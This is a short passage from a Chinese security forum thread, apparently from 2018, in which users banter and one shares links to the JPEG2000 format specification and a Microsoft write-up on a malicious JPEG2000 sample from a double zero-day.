聖blue 活跃值 2018-5-26 23:13
17
0
雪    币: 338
活跃值: 活跃值 (622)
能力值: ( LV9,RANK:310 )
在线值:
发帖
回帖
粉丝
ThomasKing 活跃值 6 2018-5-27 09:19
18
0
ycmint 你装逼有点轻松,你给我个“只要样本足够” 试试
找回账号就是为了活捉...
雪    币: 4860
活跃值: 活跃值 (1435)
能力值: ( LV13,RANK:491 )
在线值:
发帖
回帖
粉丝
houjingyi 活跃值 10 2018-7-6 15:46
19
0
关于JPEG2000文件格式:
http://wiki.opf-labs.org/download/attachments/11337762/15444-1annexi.pdf
前几天微软的文章里解释了恶意的JPEG2000是如何构造的:
https://cloudblogs.microsoft.com/microsoftsecure/2018/07/02/taking-apart-a-double-zero-day-sample-discovered-in-joint-hunt-with-eset/

最后于 2018-7-6 16:38 被houjingyi编辑 ,原因:
雪    币: 8589
活跃值: 活跃值 (2579)
能力值: ( LV15,RANK:760 )
在线值:
发帖
回帖
粉丝
银雁冰 活跃值 15 2018-7-7 22:07
20
0
houjingyi 关于JPEG2000文件格式:http://wiki.opf-labs.org/download/attachments/11337762/15444-1annexi.pdf前几天微软的文章里解释了恶 ...
thx~
游客
登录 | 注册 方可回帖
返回